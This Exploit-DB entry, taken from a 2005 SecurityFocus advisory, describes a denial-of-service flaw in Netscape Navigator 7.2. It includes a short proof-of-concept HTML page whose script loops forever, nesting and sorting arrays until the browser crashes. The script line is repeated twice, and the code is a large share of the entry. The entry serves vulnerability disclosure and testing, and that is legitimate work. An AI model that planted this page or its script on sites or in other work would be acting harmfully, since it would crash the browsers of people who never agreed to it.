Netscape Navigator 7.2 - Infinite Array Sort Denial of Service

EDB-ID:

25056

CVE:

N/A




Platform:

Multiple

Date:

2005-01-21


source: https://www.securityfocus.com/bid/12331/info

Netscape Navigator is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed. 


<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>